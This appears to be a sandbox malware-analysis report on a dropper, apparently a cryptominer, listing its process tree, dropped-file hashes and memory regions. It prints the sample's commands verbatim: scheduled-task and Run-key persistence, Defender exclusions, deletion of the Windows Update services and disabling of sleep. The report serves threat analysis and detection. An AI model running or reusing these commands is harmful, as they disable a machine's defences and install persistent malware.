C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe zuhwtyqtfkk2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exeC:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe1⤵
- Executes dropped EXE
-
C:\Program Files\Notepad\Chrome\updater.exe"C:\Program Files\Notepad\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exeC:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Libs\g.logFilesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
C:\Program Files\Notepad\Chrome\updater.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Program Files\Notepad\Chrome\updater.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5e8ce785f8ccc6d202d56fefc59764945
SHA1ca032c62ddc5e0f26d84eff9895eb87f14e15960
SHA256d85c19fc6b9d25e2168a2cc50ff38bd226fbf4f02aa7ac038a5f319522d2ffa4
SHA51266460aec4afee582556270f8ee6048d130a090f1c12a2632ed71a99a4073e9931e9e1cc286e32debffb95a90bd955f0f0d6ec891b1c5cd2f0aae41eb6d25832f
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD535619dd2acc340c0d6839efdfbc55bb1
SHA173fde0c7a79d159d05f6d0e93bc37ff5d16908a0
SHA256399f5103bea78e25d4cb61e7ccbb2f2fd4b8e72b4ad1dc4538e3a7747fab5c7a
SHA5129470b2d38e70bee68d0fac054bf6b032fbeef2d726cbe24dbd00dd6a58e0ca837f28d600b5ffa564e9a833ae7cb3370a1abc4fe402514849e0708be326926832
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exeFilesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exeFilesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exeFilesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exeFilesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Users\Admin\AppData\Local\Temp\XandETC.exeFilesize
3.7MB
MD53006b49f3a30a80bb85074c279acc7df
SHA1728a7a867d13ad0034c29283939d94f0df6c19df
SHA256f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
SHA512e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jpzs0ftj.5oo.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\aafg31.exeFilesize
421KB
MD561246e63964a1d50af9a3cf9c4e17798
SHA1098ca418434983f9a4e013127311d14639acea08
SHA256b768455072e94994ed5f2fc9b02a77640fb81f0dbe2124065d66a60f78cd3f6e
SHA512bcd472bfbe4b9b498f75ae6e7ea47850ac243eac7c377b94aba3676a0bd32d3e78132a30ffadf51cfa03b0fd33c1743abcedf6517fc48426d85b1d1fe33303b7
-
C:\Users\Admin\AppData\Local\Temp\aafg31.exeFilesize
421KB
MD561246e63964a1d50af9a3cf9c4e17798
SHA1098ca418434983f9a4e013127311d14639acea08
SHA256b768455072e94994ed5f2fc9b02a77640fb81f0dbe2124065d66a60f78cd3f6e
SHA512bcd472bfbe4b9b498f75ae6e7ea47850ac243eac7c377b94aba3676a0bd32d3e78132a30ffadf51cfa03b0fd33c1743abcedf6517fc48426d85b1d1fe33303b7
-
C:\Users\Admin\AppData\Local\Temp\aafg31.exeFilesize
421KB
MD561246e63964a1d50af9a3cf9c4e17798
SHA1098ca418434983f9a4e013127311d14639acea08
SHA256b768455072e94994ed5f2fc9b02a77640fb81f0dbe2124065d66a60f78cd3f6e
SHA512bcd472bfbe4b9b498f75ae6e7ea47850ac243eac7c377b94aba3676a0bd32d3e78132a30ffadf51cfa03b0fd33c1743abcedf6517fc48426d85b1d1fe33303b7
-
C:\Users\Admin\AppData\Local\Temp\oldplayer.exeFilesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
C:\Users\Admin\AppData\Local\Temp\oldplayer.exeFilesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
C:\Users\Admin\AppData\Local\Temp\oldplayer.exeFilesize
198KB
MD5a64a886a695ed5fb9273e73241fec2f7
SHA1363244ca05027c5beb938562df5b525a2428b405
SHA256563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144
SHA512122779ad7bce927e1b881df181fcc3181080d3929a67f750358fa446a21397b998d167c03aed5f3bdc3cd7a1f17e4da095f9b4a9367c6357cabefcf8cdd29474
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
-
memory/704-231-0x00007FF772E40000-0x00007FF7731FD000-memory.dmpFilesize
3.7MB
-
memory/704-300-0x00007FF772E40000-0x00007FF7731FD000-memory.dmpFilesize
3.7MB
-
memory/976-173-0x0000000002EB0000-0x0000000003020000-memory.dmpFilesize
1.4MB
-
memory/976-178-0x0000000003020000-0x0000000003151000-memory.dmpFilesize
1.2MB
-
memory/976-174-0x0000000003020000-0x0000000003151000-memory.dmpFilesize
1.2MB
-
memory/1016-133-0x0000000000E10000-0x000000000126A000-memory.dmpFilesize
4.4MB
-
memory/1796-177-0x00007FF754C10000-0x00007FF754FCD000-memory.dmpFilesize
3.7MB
-
memory/1796-215-0x00007FF754C10000-0x00007FF754FCD000-memory.dmpFilesize
3.7MB
-
memory/2296-260-0x000002CAFB0F0000-0x000002CAFB0FA000-memory.dmpFilesize
40KB
-
memory/2296-244-0x000002CAF8B30000-0x000002CAF8B40000-memory.dmpFilesize
64KB
-
memory/2296-264-0x000002CAFB140000-0x000002CAFB14A000-memory.dmpFilesize
40KB
-
memory/2296-263-0x000002CAFB130000-0x000002CAFB136000-memory.dmpFilesize
24KB
-
memory/2296-257-0x000002CAFAEC0000-0x000002CAFAECA000-memory.dmpFilesize
40KB
-
memory/2296-245-0x000002CAF8B30000-0x000002CAF8B40000-memory.dmpFilesize
64KB
-
memory/2296-262-0x000002CAFB100000-0x000002CAFB108000-memory.dmpFilesize
32KB
-
memory/2296-256-0x000002CAFAED0000-0x000002CAFAEEC000-memory.dmpFilesize
112KB
-
memory/2296-246-0x000002CAF8B30000-0x000002CAF8B40000-memory.dmpFilesize
64KB
-
memory/2296-258-0x00007FF4517F0000-0x00007FF451800000-memory.dmpFilesize
64KB
-
memory/2296-259-0x000002CAFB110000-0x000002CAFB12C000-memory.dmpFilesize
112KB
-
memory/2296-261-0x000002CAFB150000-0x000002CAFB16A000-memory.dmpFilesize
104KB
-
memory/2624-304-0x00007FF7819C0000-0x00007FF7819D6000-memory.dmpFilesize
88KB
-
memory/3356-226-0x000001C5B9520000-0x000001C5B9530000-memory.dmpFilesize
64KB
-
memory/3356-228-0x000001C5B9520000-0x000001C5B9530000-memory.dmpFilesize
64KB
-
memory/3356-227-0x000001C5B9520000-0x000001C5B9530000-memory.dmpFilesize
64KB
-
memory/4248-183-0x00000101F0710000-0x00000101F0732000-memory.dmpFilesize
136KB
-
memory/4248-195-0x00000101F0770000-0x00000101F0780000-memory.dmpFilesize
64KB
-
memory/4248-193-0x00000101F0770000-0x00000101F0780000-memory.dmpFilesize
64KB
-
memory/4248-194-0x00000101F0770000-0x00000101F0780000-memory.dmpFilesize
64KB
-
memory/4296-307-0x00007FF784410000-0x00007FF784C04000-memory.dmpFilesize
8.0MB
-
memory/4296-308-0x0000028016CB0000-0x0000028016CD0000-memory.dmpFilesize
128KB
-
memory/4296-315-0x00007FF784410000-0x00007FF784C04000-memory.dmpFilesize
8.0MB
-
memory/4296-313-0x00007FF784410000-0x00007FF784C04000-memory.dmpFilesize
8.0MB
-
memory/4296-311-0x0000028016CB0000-0x0000028016CD0000-memory.dmpFilesize
128KB
-
memory/4296-310-0x00007FF784410000-0x00007FF784C04000-memory.dmpFilesize
8.0MB
-
memory/4296-305-0x00007FF784410000-0x00007FF784C04000-memory.dmpFilesize
8.0MB
-
memory/4296-301-0x0000028016680000-0x00000280166A0000-memory.dmpFilesize
128KB
-
memory/4296-302-0x00007FF784410000-0x00007FF784C04000-memory.dmpFilesize
8.0MB
-
memory/4296-303-0x00000280166C0000-0x0000028016700000-memory.dmpFilesize
256KB
-
memory/4560-211-0x0000019826FC0000-0x0000019826FD0000-memory.dmpFilesize
64KB
-
memory/4560-209-0x0000019826FC0000-0x0000019826FD0000-memory.dmpFilesize
64KB
-
memory/4560-210-0x0000019826FC0000-0x0000019826FD0000-memory.dmpFilesize
64KB
-
memory/4724-269-0x0000019D2E800000-0x0000019D2E810000-memory.dmpFilesize
64KB
-
memory/4724-268-0x0000019D2E800000-0x0000019D2E810000-memory.dmpFilesize
64KB
-
memory/4724-290-0x00007FF4FBC30000-0x00007FF4FBC40000-memory.dmpFilesize
64KB
-
memory/4724-289-0x0000019D2E800000-0x0000019D2E810000-memory.dmpFilesize
64KB
-
memory/4724-293-0x0000019D2E809000-0x0000019D2E80F000-memory.dmpFilesize
24KB